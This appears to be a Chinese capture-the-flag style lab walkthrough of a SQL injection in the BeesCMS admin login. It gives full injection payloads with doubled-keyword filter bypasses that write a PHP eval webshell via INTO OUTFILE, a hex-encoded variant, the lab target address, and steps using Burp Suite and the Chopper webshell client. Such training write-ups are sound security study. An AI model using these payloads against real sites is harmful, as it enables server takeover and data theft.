BeesCMS系统漏洞分析溯源
靶场地址:
https://www.mozhe.cn/bug/detail/N3FvbjdsQUkza2F4b1hORGNXRVk1UT09bW96aGUmozhe
漏洞简析:因为BeesCMS后台登陆页面存在sql注入,可以被用来写入一句话木马或者查看管理员密码
绕过限制写入文件的注入代码:
1' uni union on selselectect '<?php @eval($_POST[cmd])?>',2,3,4,5 in into outoutfilefile '/var/www/html/shell.php'--%20
后台登陆页面存在于:http://219.153.49.228:43263/admin/login.php

开启Burp Suite拦截将user数据修改为1' uni union on selselectect '<?php @eval($_POST[cmd])?>',2,3,4,5 in into outoutfilefile '/var/www/html/shell.php'--%20
提交,访问,

查看源码发现’<’和’>’被做了过滤,尝试url编码绕过失败
使用16进制绕过,将一句话木马进行16进制编码

将一句话木马修改为16进制,同时前面加上0x,这种方法也可以用在sql注入传参时引号被限制的情况的绕过
重新拦截,修改user变量为1' uni union on selselectect 0x3c3f70687020406576616c28245f504f53545b636d645d293b3f3e,2,3,4,5 in into outoutfilefile '/var/www/html/shell2.php'--%20
发送
开启菜刀连接,获得key
